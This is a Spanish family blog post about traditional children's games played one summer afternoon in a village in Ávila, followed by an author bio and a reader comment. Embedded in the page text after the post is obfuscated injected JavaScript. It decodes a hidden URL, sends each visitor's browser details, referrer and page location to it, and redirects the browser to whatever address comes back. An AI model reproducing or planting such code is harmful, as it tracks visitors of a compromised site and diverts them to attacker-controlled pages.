¡Vamos a jugar!

Da lo mismo que sea verano, otoño, invierno o primavera; que tengan cole o sea fin de semana; que sea solos o en compañía, los niños necesitan jugar. Muchas veces por falta de tiempo, por cansancio nuestro -ellos siempre están dispuestos- o porque no sabemos muy bien qué hacer no le dedicamos el tiempo que deberíamos a esta actividad tan sencilla y beneficiosa para todos: fomenta la creatividad, reduce el estrés, aumenta la calidad de vida, crea personas más abiertas y tolerantes…

Por eso este verano, además de sacar un hueco para las manualidades, he aprovechado para enseñarle a Elena y a sus amigos los juegos de toda la vida, esos que hacíamos en verano en los pueblos para pasar las tardes. Lo he mezclado con los que ella ha aprendido en el colegio y me ha enseñado, y la combinación ha sido una tarde de risas que prometo repetir en la zona común de mi casa de Madrid (¡Atentas queridas Celia y Elena!), en el parque del barrio o cuando nos vayamos de casa rural con amigos e hijos.

juegoNuestra tarde comenzó, y eso es un punto muy importante, ambientando la atmósfera con las canciones del verano, y es que un poco de música del momento sirve para que vayamos metiéndonos en situación. El primer juego fue un mini-circuito que pintamos en el suelo. Dos círculos grandes para que saltasen, cuatro más pequeños para bordear, cuatro rayas que deberían de recorrer a la pata coja y, para terminar, intentar encestar la pelota que llevaban durante el trayecto en un tarro colocado al final de estas tres etapas. La idea era hacerlo cinco veces más o menos, pero les gustó tanto y, algunos se picaron tanto, que creo que lo completaron entre 10-15 veces. Después tocaba el turno del juego de las estatuas, pero con ciertas modificaciones. Al ritmo de la música todos deberían de bailar, pero cuando la canción parase, ellos tenían que hacer la figura del animal que antes el “monitor”, en este caso un padre o madre, dijese. Y así fue como se tiraron al suelo para simular una serpiente o un perro, o saltaron una y otra vez para imitar a un canguro o a una rana. Y ya que estábamos con el ritmillo en el cuerpo pasamos al juego de los abrazos, muy parecido al de las estatuas, pero en este caso cuando se acababa la música había que hacer abrazos de una, dos, tres o cuatro personas, según lo que “quisiera” el que coordinaba esta actividad. A un padre se le ocurrió una “actualización” para involucrar también a todos los que allí estaban sentados mirando, y era que cuando se bajase la música, se diría: “Abrazo a los que lleven algo negro” o “Abrazo a un abuelo”. ¡Estuvo genial porque fue una manera de que niños y grandes participasen!

Dejando la música de fondo continuamos con dos clásicos: carrera de sacos y enredadas. Para la primera solo necesitamos sacos, como su propio nombre indica, y para las segundas, unas cuerdas. Por parejas de dos, ataríamos el pie izquierdo de uno con el derecho del otro, para así conseguir recorrer un espacio fijado con antelación. En ambos casos hubo caídas, pero también muchas carcajadas.

libroY ya solo nos quedaban dos propuestas más. La primera, ratón-gato, que consistía en que colocados por parejas espalda con espalda, uno sería el gato y otro el ratón. Cuando se mencionase, “gato”, el ratón tenía que ir a coger al gato antes de que este llegase a su “casa” y al contrario en el caso de que se pronunciase la palabra “ratón”. Para el final dejamos la rayuela. Tiramos por la versión de toda la vida (la que pintas en el suelo del 1-8), pero la madre de una de las participantes nos dejó un libro con más versiones de rayuela y acabamos jugando a la rayuela-caracola. Y de esta manera transcurrió una de las tardes más animadas y divertidas en Gallegos de Sobrinos, mi pequeño pueblo de Ávila, ¿Lo más curioso? Que al día siguiente los chavales pedían más e, incluso, algunos repetían los juegos sin padres o madres de por medio.var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

Sobre Diana

Soy periodista, emprendedora, amante del teatro (sobre todo infantil) y de los buenos planes (en familia, en pareja, entre amigos, en solitario...). Un día, después de un montón de casualidades, decidí lanzarme a la aventura de poner en marcha mi propio proyecto profesional: Mamá tiene un Plan. Hoy, tengo tres peques y muchas ilusiones, a los que dedico todo mi tiempo y energía. En el viaje me acompaña un hombre maravilloso (al que dedico menos tiempo del que me gustaría y quiero con locura) y una gran familia a la que adoro que hace posible que todo lo demás siga girando. @Diana_M_N

2 comentarios en “¡Vamos a jugar!

  1. Los juegos son los principales aliados de la imaginación. Por eso es muy importante incentivar que los pequeños jueguen al aire libre, dejando de lado un poco los videojuegos y nuevas tecnologías. Yo recuerdo con mucho cariño como siempre llegaba a casa con las rodillas llenas de heridas de jugar y la ropa sucia. Eso era un infancia ¿o no? por eso os animo a que os leáis este artículo: http://payasosdalmatas.es/juegos-al-aire-libre/

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